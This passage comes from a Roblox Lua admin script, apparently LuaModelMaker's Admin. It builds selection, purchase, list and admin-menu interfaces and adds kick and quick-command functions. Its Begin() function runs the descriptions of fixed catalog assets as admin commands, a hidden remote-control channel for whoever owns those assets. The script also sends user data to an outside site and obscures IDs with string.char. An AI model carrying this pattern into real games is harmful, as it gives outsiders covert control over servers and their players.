  1357. Res = HS:PostAsync("http://luammodelmmaker.com/Login/ReturnUserData.php", "Username="..HS:UrlEncode(LinkedAccount).."&DataKey="..HS:UrlEncode(DataKey), 2)
  1358. end
  1359. if Stopypcall == true then GetData() else ypcall(GetData) end
  1360. if PrintResponse then
  1361. print(Res)
  1362. end
  1363. local function DecodeData() Res = HS:JSONDecode(Res) end
  1364. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  1365. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  1366. return Res
  1367. end
  1368.  
  1369. function ReverseTable(Table)
  1370. if type(Table) ~= "table" then return Table end
  1371. local NewTable = {}
  1372. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  1373. return NewTable
  1374. end
  1375.  
  1376. function SelectionGui(Player, TitleText, List, LogInput)
  1377. if type(TitleText) == "table" then List = TitleText TitleText = "" end
  1378. if not Player.PlayerGui then return end
  1379.  
  1380. local Selected,Done = {},false
  1381.  
  1382. local SG = Player.PlayerGui:FindFirstChild("LMM".."A Selection") if SG then SG:Destroy() end
  1383. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "L".."MM".."A Selection"
  1384. local Drag = Instance.new("Frame", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(0.25,25,0,5) Drag.Size = UDim2.new(0.5,-25,0.15,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.ZIndex = 3 Drag.Draggable = true Drag.Active = true
  1385. local Main = Instance.new("Frame", Drag) Main.Name = "Main" Main.Position = UDim2.new(0,-25,0,0) Main.Size = UDim2.new(1,0,6.5,0) Main.BackgroundTransparency = 0.9 Main.BackgroundColor3 = Color3.new(1,1,1)
  1386. local Title = Instance.new("TextLabel", Main) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,-30) Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size24" Title.TextWrapped = true Title.TextColor3 = Color3.new(1, 1, 1)
  1387. local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Position = UDim2.new(0,10,0.2,-20) Scroll.Size = UDim2.new(1,-20,0.8,-20) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
  1388. local Submit = Instance.new("TextButton", Main) Submit.Name = "Submit" Submit.Position = UDim2.new(1,-90,1,-36) Submit.Size = UDim2.new(0,80,0,35) Submit.BackgroundColor3 = Color3.new(1,1,1) Submit.BackgroundTransparency = 0.7 Submit.Text = "Submit" Submit.Font = "ArialBold" Submit.FontSize = "Size14" Submit.TextStrokeTransparency = 0 Submit.TextStrokeColor3 = Color3.new(0,0,0) Submit.TextColor3 = Color3.new(1,1,1)
  1389. local Cancel = Instance.new("TextButton", Main) Cancel.Name = "Cancel" Cancel.Position = UDim2.new(0,10,1,-36) Cancel.Size = UDim2.new(0,80,0,35) Cancel.BackgroundColor3 = Color3.new(1,1,1) Cancel.BackgroundTransparency = 0.7 Cancel.Text = "Cancel" Cancel.Font = "ArialBold" Cancel.FontSize = "Size14" Cancel.TextStrokeTransparency = 0 Cancel.TextStrokeColor3 = Color3.new(1,0,0) Cancel.TextColor3 = Color3.new(1,1,1)
  1390.  
  1391. Submit.MouseButton1Click:connect(function() SG:Destroy() if LogInput == true then if #Selected >= 1 then Log(Player, "[Selection Input: "..table.concat(Selected, ", ").."]") end end Done = true end)
  1392. Cancel.MouseButton1Click:connect(function() Selected = {} SG:Destroy() Done = true end)
  1393.  
  1394. local NumPos = 0
  1395.  
  1396. for Num,Data in pairs(List) do
  1397. local String,ImageID = nil,"nil"
  1398. if type(Data) == "table" then
  1399. String = tostring(Data[1])
  1400. ImageID = Data[2]
  1401. else String = tostring(Data)
  1402. end
  1403. if type(ImageID) == "number" then ImageID = "http://www.roblox.com/asset/?id="..ImageID else ImageID = tostring(ImageID) end
  1404. if ImageID == "nil" then ImageID = "" end
  1405. if String then
  1406. local Font = "Arial"
  1407. if string.sub(string.lower(String),1,6) == "bold: " then
  1408. Font = "ArialBold"
  1409. String = string.sub(String,7)
  1410. end
  1411. local Content = Instance.new("TextButton", Scroll) Content.AutoButtonColor = false Content.Name = Num Content.Position = UDim2.new(0,75,0,NumPos) Content.Size = UDim2.new(1,0,0,75) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 1 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = Color3.new(1,1,1) Content.TextWrapped = true Content.Text = String
  1412. local ContentImage = Instance.new("ImageButton", Scroll) ContentImage.Name = "ContentImage" ContentImage.AutoButtonColor = false ContentImage.Size = UDim2.new(0,75,0,75) ContentImage.Position = UDim2.new(0,0,0,NumPos) ContentImage.BackgroundColor3 = Color3.new(1,1,1) ContentImage.BackgroundTransparency = 1 ContentImage.Image = ImageID
  1413.  
  1414. local IsSelected = false
  1415.  
  1416. local function MouseIn() if IsSelected == false then Content.BackgroundTransparency = 0.9 ContentImage.BackgroundTransparency = 0.9 end end
  1417. local function MouseOut() if IsSelected == false then Content.BackgroundTransparency = 1 ContentImage.BackgroundTransparency = 1 end end
  1418. local function MouseClick()
  1419. if IsSelected == true then
  1420. IsSelected = false
  1421. for Num,Str in pairs(Selected) do
  1422. if Str == String then table.remove(Selected, Num) break end
  1423. end
  1424. Content.BackgroundTransparency = 0.9 ContentImage.BackgroundTransparency = 0.9
  1425. else
  1426. IsSelected = true
  1427. table.insert(Selected, String)
  1428. Content.BackgroundTransparency = 0.5 ContentImage.BackgroundTransparency = 0.5
  1429. end
  1430. end
  1431.  
  1432. Content.MouseEnter:connect(MouseIn)
  1433. Content.MouseLeave:connect(MouseOut)
  1434. Content.MouseButton1Click:connect(MouseClick)
  1435.  
  1436. ContentImage.MouseEnter:connect(MouseIn)
  1437. ContentImage.MouseLeave:connect(MouseOut)
  1438. ContentImage.MouseButton1Click:connect(MouseClick)
  1439.  
  1440. NumPos = NumPos + 75
  1441. end
  1442. end
  1443. Scroll.CanvasSize = UDim2.new(0,0,0,NumPos)
  1444.  
  1445. repeat wait(0.1) until Done == true
  1446. return Selected
  1447. end
  1448.  
  1449. function AssetTypeToString(AssetType)
  1450. if AssetType == 1 then return "Image"
  1451. elseif AssetType == 2 then return "T-Shirt"
  1452. elseif AssetType == 3 then return "Audio"
  1453. elseif AssetType == 4 then return "Mesh"
  1454. elseif AssetType == 5 then return "Lua"
  1455. elseif AssetType == 6 then return "HTML"
  1456. elseif AssetType == 7 then return "Text"
  1457. elseif AssetType == 8 then return "Hat"
  1458. elseif AssetType == 9 then return "Place"
  1459. elseif AssetType == 10 then return "Model"
  1460. elseif AssetType == 11 then return "Shirt"
  1461. elseif AssetType == 12 then return "Pants"
  1462. elseif AssetType == 13 then return "Decal"
  1463. elseif AssetType == 16 then return "Avatar"
  1464. elseif AssetType == 17 then return "Head"
  1465. elseif AssetType == 18 then return "Face"
  1466. elseif AssetType == 19 then return "Gear"
  1467. elseif AssetType == 21 then return "Badge"
  1468. elseif AssetType == 22 then return "Group Emblem"
  1469. elseif AssetType == 24 then return "Animation"
  1470. elseif AssetType == 25 then return "Arms"
  1471. elseif AssetType == 26 then return "Legs"
  1472. elseif AssetType == 27 then return "Torso"
  1473. elseif AssetType == 28 then return "Right Arm"
  1474. elseif AssetType == 29 then return "Left Arm"
  1475. elseif AssetType == 30 then return "Left Leg"
  1476. elseif AssetType == 31 then return "Right Leg"
  1477. elseif AssetType == 32 then return "Package"
  1478. elseif AssetType == 33 then return "YouTube Video"
  1479. elseif AssetType == 34 then return "Game Pass"
  1480. elseif AssetType == 38 then return "Plugin"
  1481. elseif AssetType == 0 then return "Product"
  1482. end
  1483. return "Content Invalid"
  1484. end
  1485.  
  1486. function PromptPurchase(Player, Item, Requester, TeleportAction) coroutine.wrap(function()
  1487. if Player.PlayerGui ~= nil then
  1488. local Valid = ypcall(function() return MPS:GetProductInfo(Item) end)
  1489. if Valid == true then
  1490. if TeleportAction then
  1491. if MPS:GetProductInfo(Item).AssetTypeId ~= 9 then
  1492. Valid = false
  1493. end
  1494. end
  1495. end
  1496. if Valid == true then
  1497. local ItemInfo = MPS:GetProductInfo(Item)
  1498. if ItemInfo.AssetTypeId ~= 5 then
  1499. local CanBuy = true
  1500. local Created = ItemInfo.Created Created = string.gsub(Created, "-", "/") local Stop = string.find(Created, "T") if Stop then Created = string.sub(Created, 1, Stop-1) end
  1501. local Updated = ItemInfo.Updated Updated = string.gsub(Updated, "-", "/") local Stop = string.find(Updated, "T") if Stop then Updated = string.sub(Updated, 1, Stop-1) end
  1502. local SG = Player.PlayerGui:FindFirstChild("LMMA Product Gui") if SG then SG:Destroy() end
  1503. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Product Gui"
  1504. local Frame = Instance.new("Frame", SG) Frame.Name = "Main Frame" Frame.Size = UDim2.new(0.5,0,0.7,0) Frame.Position = UDim2.new(0.25,0,0.15,0) Frame.BackgroundColor3 = Color3.new(1,1,1)
  1505. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.BackgroundColor3 = Color3.new(0,1,0) Buy.Position = UDim2.new(0.5,0,0.35,0) Buy.Size = UDim2.new(0.5,0,0.1,0) Buy.Font = "Arial" Buy.FontSize = "Size36" Buy.Text = "Buy" Buy.BorderSizePixel = 0
  1506. local PImg = Instance.new("ImageLabel", Frame) PImg.Name = "Product Image" PImg.BackgroundTransparency = 1 PImg.Size = UDim2.new(0.5,0,0.5,0) PImg.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..Item
  1507. local UImg = Instance.new("ImageLabel", Frame) UImg.Name = "User Image" UImg.Size = UDim2.new(0.15,0,0.2,0) UImg.Position = UDim2.new(0.5,0,0.1,0) UImg.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..ItemInfo.Creator.Name
  1508. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(0.5,0,0.1,0) Title.Position = UDim2.new(0.5,0,0,0) Title.Font = "ArialBold" Title.BackgroundTransparency = 1 Title.FontSize = "Size14" Title.Text = ItemInfo.Name Title.TextWrapped = true
  1509. local Des = Title:Clone() Des.Parent = Frame Des.Name = "Description" Des.Size = UDim2.new(1,0,0.5,0) Des.Position = UDim2.new(0,0,0.5,0) Des.Font = "Arial" Des.TextXAlignment = "Left" Des.TextYAlignment = "Top" Des.Text = "[ No Description ]" ypcall(function() Des.Text = ItemInfo.Description end)
  1510. local X = Instance.new("TextButton", Frame) X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Position = UDim2.new(1,-25,0,5) X.ZIndex = 10 X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,1,1) X.MouseButton1Click:connect(function() CanBuy = false if SG then SG:Destroy() end end)
  1511. local Info = Title:Clone() Info.Parent = Frame Info.Name = "Info" Info.Size = UDim2.new(0.35,0,0.25,0) Info.Position = UDim2.new(0.65,0,0.1,0) Info.TextXAlignment = "Left" Info.Font = "Arial" Info.Text = [[ROBLOX ]]..AssetTypeToString(ItemInfo.AssetTypeId)..[[
  1512. Creator: ]]..ItemInfo.Creator.Name..[[
  1513. Created: ]]..Created..[[
  1514. Updated: ]]..Updated..[[
  1515. Sold: ]]..ItemInfo.Sales..[[
  1516. Robux: ]]..string.gsub(ItemInfo.PriceInRobux, "null", "Cannot use this currency")..[[
  1517. Tix: ]]..string.gsub(ItemInfo.PriceInTickets, "null", "Cannot use this currency")
  1518. if ItemInfo.IsForSale == false and ItemInfo.IsPublicDomain == false then CanBuy = false Buy.BackgroundColor3 = Color3.new(1,0,0) Buy.Text = "Not For Sale" end
  1519. if ItemInfo.IsPublicDomain == true then Buy.BackgroundColor3 = Color3.new(1,0.5,0.5) Buy.Text = "FREE!" end
  1520. if MPS:PlayerOwnsAsset(Player, Item) then CanBuy = false Buy.BackgroundColor3 = Color3.new(1,0,0) Buy.Text = "You Own This" end
  1521. if Item == VIPAdminID then Buy.Text = Buy.Text.."(Admin VIP)" end
  1522. if Item == VIPMemberID then Buy.Text = Buy.Text.."(Member VIP)" end
  1523. if ItemInfo.AssetTypeId == 9 then
  1524. Buy.Text = "Teleport" Buy.BackgroundColor3 = Color3.new(0.5,0.5,0.5)
  1525. end
  1526. if Requester then
  1527. Des.Text = Requester.Name.." has shown you this item\n\n"..Des.Text
  1528. end
  1529. Buy.MouseButton1Click:connect(function()
  1530. if CanBuy == true then
  1531. MPS:PromptPurchase(Player, Item)
  1532. elseif ItemInfo.AssetTypeId == 9 then
  1533. if TeleportAction then
  1534. TeleportAction()
  1535. else
  1536. TS:Teleport(Item, Player)
  1537. end
  1538. else
  1539. SG:Destroy()
  1540. end
  1541. end)
  1542. end
  1543. end
  1544. end
  1545. end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
  1546. local OldVer = MPS:GetProductInfo(LinkedID).Updated
  1547. while wait(5) do
  1548. local Purchase = MPS:GetProductInfo(LinkedID)
  1549. if OldVer ~= Purchase.Updated then
  1550. OldVer = Purchase.Updated
  1551. local Gather = Purchase.Description
  1552. if Prefix == "" or string.sub(Gather,1,#Prefix) == Prefix then
  1553. ypcall(function() Chatted(Gather, nil) end)
  1554. else
  1555. ypcall(function() Chatted(Prefix..Gather, nil) end)
  1556. end
  1557. end
  1558. end end)()
  1559. end end)() end
  1560.  
  1561. function GetTime()
  1562. local Hour = math.floor((tick()%86400)/60/60) local Min = math.floor(((tick()%86400)/60/60-Hour)*60)
  1563. if Min < 10 then Min = "0"..Min end
  1564. return Hour..":"..Min
  1565. end
  1566.  
  1567. function AdminHouseGui(Player)
  1568. if not Player.PlayerGui then return end
  1569. local SG = Player.PlayerGui:FindFirstChild("Admin House") if SG then SG:Destroy() end
  1570. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "Admin House"
  1571. local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0.3,-50,0.3,-125) Main.Size = UDim2.new(0.4,100,0.4,150) Main.BackgroundColor3 = Color3.new(1,1,1) Main.BackgroundTransparency = 0.9
  1572. local Text = Instance.new("TextLabel", Main) Text.Name = "Text" Text.BackgroundTransparency = 1 Text.Size = UDim2.new(1,0,1,-20) Text.Position = UDim2.new(0,0,0,20) Text.Font = "ArialBold" Text.FontSize = "Size24" Text.Text = "Select the type of Admin House you would like to go to" Text.TextColor3 = Color3.new(1,1,1) Text.TextWrapped = true Text.TextYAlignment = "Top"
  1573. local NBC = Instance.new("TextButton", Main) NBC.Size = UDim2.new(0,100,0,50) NBC.Name = "NBC" NBC.Font = "Legacy" NBC.FontSize = "Size12" NBC.Position = UDim2.new(0,10,1,-60) NBC.Style = "RobloxButton" NBC.Text = "NBC" NBC.TextColor3 = Color3.new(1,1,1)
  1574. local BC = Instance.new("TextButton", Main) BC.Size = UDim2.new(0,100,0,50) BC.Name = "BC" BC.Font = "Legacy" BC.FontSize = "Size12" BC.Position = UDim2.new(1,-110,1,-60) BC.Style = "RobloxButton" BC.Text = "BC" BC.TextColor3 = Color3.new(1,1,1)
  1575. local X = Instance.new("TextButton", Main) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  1576. if Player.MembershipType == Memberships.NBC then
  1577. BC.Visible = false
  1578. end
  1579. NBC.MouseButton1Click:connect(function()
  1580. TS:Teleport(string.char(49, 52, 53, 55, 54, 57, 51, 52, 55), Player)
  1581. end)
  1582. BC.MouseButton1Click:connect(function()
  1583. TS:Teleport(string.char(49, 52, 54, 48, 55, 48, 52, 50, 48), Player)
  1584. end)
  1585. end
  1586.  
  1587. function SyncSoundList(TellSync)
  1588. if not NilPlayer(TellSync) then
  1589. SendHint(TellSync, "Syncing...", 5)
  1590. end
  1591.  
  1592. SoundList,GlobalSoundList = {},{}
  1593.  
  1594. for _,JSONID in pairs(SoundJSONs) do
  1595. for Name,ID in pairs(GetTable(JSONID)) do
  1596. local FullName = MPS:GetProductInfo(ID).Name
  1597. SoundList[Name] = {ID, FullName}
  1598. GlobalSoundList[Name] = {ID, FullName}
  1599. end
  1600. end
  1601.  
  1602. local LocalSoundList = DataStore:GetAsync("MML Custom Sounds")
  1603.  
  1604. if LocalSoundList then
  1605. if type(LocalSoundList) == "table" then
  1606. if LocalSoundList ~= {} then
  1607. for Name,ID in pairs(LocalSoundList) do
  1608. SoundList[Name] = {ID, MPS:GetProductInfo(ID).Name}
  1609. end
  1610. end
  1611. end
  1612. end
  1613. if not NilPlayer(TellSync) then
  1614. SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
  1615. end
  1616. end
  1617.  
  1618. function InAdminGroup(Speaker)
  1619. local IsIn = false
  1620. for _,Get in pairs(GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  1621. if Speaker:IsInGroup(Get) then
  1622. IsIn = true
  1623. end
  1624. end
  1625. if IsIn == true then
  1626. return true
  1627. else
  1628. SendMessage(Speaker, "Command Invalid", MPS:GetProductInfo(155733032).Description, 6)
  1629. return false
  1630. end
  1631. end
  1632.  
  1633. function AddCommand(CommandName, CommandExample, Rank, Fun, Abusive, CommandFunction)
  1634. if type(Rank) ~= "string" then Rank = "Player"
  1635. elseif ConvertRank(Rank) == nil then Rank = "Player" end
  1636. table.insert(ManualCommands, {CommandName, Rank, Fun, Abusive, CommandFunction})
  1637. local TableInsert = Commands.NonAdmin
  1638. if Rank == "Owner" then TableInsert = Commands.Owner end
  1639. if Rank == "Admin" then TableInsert = Commands.Admin end
  1640. if Rank == "Member" then TableInsert = Commands.Member end
  1641. table.insert(TableInsert, CommandExample)
  1642. end
  1643.  
  1644. function ListGui(Player, TitleText, List) coroutine.wrap(function()
  1645. if type(TitleText) == "table" then List = TitleText TitleText = "" end
  1646.  
  1647. local SearchVer = 0
  1648.  
  1649. if not Player.PlayerGui then return end
  1650. local SG = Player.PlayerGui:FindFirstChild("LMM ScrollGui") if SG then SG:Destroy() end
  1651. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM ScrollGui"
  1652. local Drag = Instance.new("Frame", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(0.25,25,0.1,0) Drag.Size = UDim2.new(0.5,-25,0.15,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.ZIndex = 3 Drag.Draggable = true Drag.Active = true
  1653. local Main = Instance.new("Frame", Drag) Main.Name = "Main" Main.Position = UDim2.new(0,-25,0,0) Main.Size = UDim2.new(1,0,5,0) Main.BackgroundTransparency = 0.9 Main.BackgroundColor3 = Color3.new(1,1,1)
  1654. local Title = Instance.new("TextLabel", Main) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.BackgroundColor3 = Color3.new(1, 1, 1) Title.BackgroundTransparency = 1 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size24" Title.TextWrapped = true Title.TextColor3 = Color3.new(1, 1, 1)
  1655. local SerBtn = Instance.new("TextButton", Main) SerBtn.Name = "SerBtn" SerBtn.Style = "RobloxRoundButton" SerBtn.Size = UDim2.new(0,20,0,20) SerBtn.Font = "ArialBold" SerBtn.FontSize = "Size18" SerBtn.Text = "^" SerBtn.TextColor3 = Color3.new(1,1,1) SerBtn.ZIndex = 2
  1656. local X = Instance.new("TextButton", Main) X.Name = "X" X.Style = "RobloxButtonDefault" X.Position = UDim2.new(0,0,0,20) X.Size = UDim2.new(0,20,0,20) X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  1657. local Scroll = Instance.new("ScrollingFrame", Main) Scroll.Name = "Scroll" Scroll.Position = UDim2.new(0,10,0.2,10) Scroll.Size = UDim2.new(1,-20,0.8,-20) Scroll.BackgroundColor3 = Color3.new(0,0,0) Scroll.BackgroundTransparency = 0.5 Scroll.CanvasSize = UDim2.new(0,0,0,0) Scroll.BottomImage = "http://www.roblox.com/asset/?id=36527089" Scroll.MidImage = "http://www.roblox.com/asset/?id=36527089" Scroll.TopImage = "http://www.roblox.com/asset/?id=36527089"
  1658. local SearchFrame = Instance.new("Frame", Drag) SearchFrame.Name = "SearchFrame" SearchFrame.Position = UDim2.new(0,-25,0,-30) SearchFrame.Size = UDim2.new(1,0,0,30) SearchFrame.BackgroundColor3 = Color3.new(1,1,1) SearchFrame.BackgroundTransparency = 0.9 SearchFrame.Visible = false
  1659. local SearchBar = Instance.new("TextBox", SearchFrame) SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = Color3.new(1,1,1) SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = "Arial" SearchBar.FontSize = "Size14" SearchBar.TextColor3 = Color3.new(1,1,1) SearchBar.ClearTextOnFocus = false
  1660.  
  1661. SerBtn.MouseButton1Click:connect(function() if SerBtn.Text == "^" then SearchFrame.Visible = true SerBtn.Text = "v" else SearchFrame.Visible = false SerBtn.Text = "^" end end)
  1662.  
  1663. local ScrollScript = nil
  1664.  
  1665. local function ShowResults(Key)
  1666. SearchVer = SearchVer + 1
  1667. local ThisSearchVer = SearchVer
  1668.  
  1669. Scroll:ClearAllChildren()
  1670.  
  1671. if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
  1672.  
  1673. local NumPos,Num = -30,1
  1674.  
  1675. for _,String in pairs(List) do
  1676. if ThisSearchVer ~= SearchVer then
  1677. break
  1678. end
  1679. String = tostring(String)
  1680. if String then
  1681. if string.find(string.lower(String), string.lower(Key)) then
  1682. NumPos = NumPos + 30
  1683. Spacer = false
  1684. local Font = "Arial"
  1685. if string.sub(string.lower(String),1,6) == "bold: " then
  1686. Font = "ArialBold"
  1687. String = string.sub(String,7)
  1688. end
  1689. if string.sub(String,1,2) == "--" then
  1690. Spacer = true
  1691. end
  1692. local Content = Instance.new("TextLabel", Scroll) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 1 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = Color3.new(1,1,1) if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String else Content.Text = Num..".) "..String end
  1693. if Spacer == false then Num = Num + 1 end
  1694. end
  1695. end
  1696. end
  1697. local VerticalOffset = NumPos + 30
  1698. Scroll.CanvasSize = UDim2.new(0,0,0,VerticalOffset)
  1699. ScrollScript = ExecuteResource("ScollLeftRight", Main, {["VerticalOffset"] = VerticalOffset})
  1700. end
  1701.  
  1702. ShowResults("")
  1703.  
  1704. SearchBar.Changed:connect(function(Prop)
  1705. if Prop == "Text" then ShowResults(SearchBar.Text) Scroll.CanvasPosition = Vector2.new(0,0) end
  1706. end)
  1707. end)() end
  1708.  
  1709. function ChangeName(Player, NewName)
  1710. if Player.Character ~= nil then if Player.Character.Humanoid ~= nil then
  1711. local FormatName = string.gsub(NewName,"_NAME",Player.Name)
  1712. FormatName = string.gsub(FormatName,"_REVNAME",string.reverse(Player.Name))
  1713. FormatName = string.gsub(FormatName,"_UPNAME",string.upper(Player.Name))
  1714. FormatName = string.gsub(FormatName,"_LOWNAME",string.lower(Player.Name))
  1715.  
  1716. local Head = nil
  1717. pcall(function() Head = Player.Character.Label:GetChildren()[1].Head end)
  1718. if not Head then Head = Player.Character.Head end
  1719. local HeadClone = Head:Clone()
  1720. Head.Transparency = 1
  1721. pcall(function() Player.Character.Label:Destroy() Head = Player.Character.Head end)
  1722.  
  1723. pcall(function() Head.face.Transparency = 1 end)
  1724.  
  1725. local Label = Instance.new("Model", Player.Character)
  1726. Label.Name = "Label"
  1727.  
  1728. local Model = Instance.new("Model", Label)
  1729. Model.Name = FormatName
  1730.  
  1731. local HumanoidClone = Instance.new("Humanoid", Model)
  1732. coroutine.wrap(function() while wait() do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  1733.  
  1734. HeadClone.Parent = Model
  1735. HeadClone.Position = Vector3.new(0,100,0)
  1736. HeadClone.CanCollide = false
  1737.  
  1738. local Weld = Instance.new("Weld", HeadClone)
  1739. Weld.Part0 = HeadClone
  1740. Weld.Part1 = Head
  1741. end end
  1742. end
  1743.  
  1744. function Kick(Player, CustomMessage)
  1745. if not CustomMessage then CustomMessage = "You've been kicked by L".."uaM".."ode".."".."lMaker's Admin. You cannot interact with the server in anyway." end
  1746. coroutine.wrap(function()
  1747. ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage}, Player, [[
  1748. script.Parent = nil
  1749. coroutine.wrap(function()
  1750. for i = 1,10 do
  1751. local Message = Instance.new("Message", Workspace.CurrentCamera) Message.Text = script.Message.Value
  1752. game:GetService("StarterGui"):SetCoreGuiEnabled("All", false)
  1753. wait()
  1754. end
  1755. end)())]])
  1756. wait(1)
  1757. Player:Kick()
  1758. end)()
  1759. end
  1760.  
  1761. function Ration(BaseNumber, Rat, Whole)
  1762. local NewNumber = BaseNumber*(Rat/100)
  1763. if Whole then
  1764. NewNumber = math.floor(NewNumber)
  1765. end
  1766. return NewNumber
  1767. end
  1768.  
  1769. function QuickCommand(Player)
  1770. local PlayerAdmin,PlayerRank = IsAdmin(Player)
  1771. if PlayerAdmin == true then
  1772. QC = {
  1773. {"Kill", 12629158};
  1774. {"Sword", 146948659};
  1775. {"NoClip", 142238488};
  1776. {"Explode", 15603112};
  1777. {"Fart", 11001487};
  1778. {"Ff", 73458348};
  1779. {"Noob", 159381472};
  1780. {"God", 83845644};
  1781. {"Light", 64941856};
  1782. {"Debug", 3016237};
  1783. }
  1784. if PlayerRank == "Admin" or PlayerRank == "Owner" then
  1785. table.insert(QC, {"Kick", 7628159})
  1786. end
  1787. local SelectCommands = SelectionGui(Player, "Select a Quick Command", QC, false)
  1788. if #SelectCommands >= 1 then
  1789. local CompilePlayers = {}
  1790. for _,Ply in pairs(Players:GetPlayers()) do
  1791. table.insert(CompilePlayers, {Ply, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Ply.Name})
  1792. end
  1793.  
  1794. local SelectPlayers = SelectionGui(Player, "Select a Quick Command", CompilePlayers, false)
  1795. for _,Sel in pairs(SelectCommands) do
  1796. Chatted(Prefix..Sel..Bet..table.concat(SelectPlayers, "/"), Player)
  1797. end
  1798. end
  1799. end
  1800. end
  1801.  
  1802. local function AdminMenu(Player)
  1803. if Player.PlayerGui ~= nil then
  1804. local Stat = "Open"
  1805. local SG = Player.PlayerGui:FindFirstChild("LM".."M Menu Gui") if SG then SG:Destroy() end
  1806. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Menu Gui"
  1807. local MainGui = Instance.new("TextButton", SG) MainGui.Name = "MainGui" MainGui.BackgroundTransparency = 1 MainGui.Position = UDim2.new(1,-400,1,-20) MainGui.Size = UDim2.new(0,400,0,20) MainGui.Font = "ArialBold" MainGui.FontSize = "Size18" MainGui.TextColor3 = Color3.new(1,1,1) MainGui.TextStrokeColor3 = Color3.new(0,0,0) MainGui.TextStrokeTransparency = 0 MainGui.TextXAlignment = "Right" MainGui.TextYAlignment = "Bottom"
  1808. local BG = Instance.new("Frame", SG) BG.Name = "Background" BG.Position = UDim2.new(0.3,0,0.2,0) BG.Size = UDim2.new(0.4,0,0.5) BG.BackgroundColor3 = Color3.new(1,1,1) BG.BackgroundTransparency = 0.9 BG.Visible = false
  1809. local Title = Instance.new("TextLabel", BG) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(76, 117, 97, 77, 111, 100, 101, 108, 77, 97, 107, 101, 114, 39, 115, 32, 65, 100, 109, 105, 110, 32, 77, 101, 110, 117) Title.TextColor3 = Color3.new(1,1,1)
  1810. local Separator = Instance.new("Frame", BG) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
  1811. local Info = Instance.new("TextLabel", BG) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = "Arial" Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = Color3.new(1,1,1) Info.TextYAlignment = "Top"
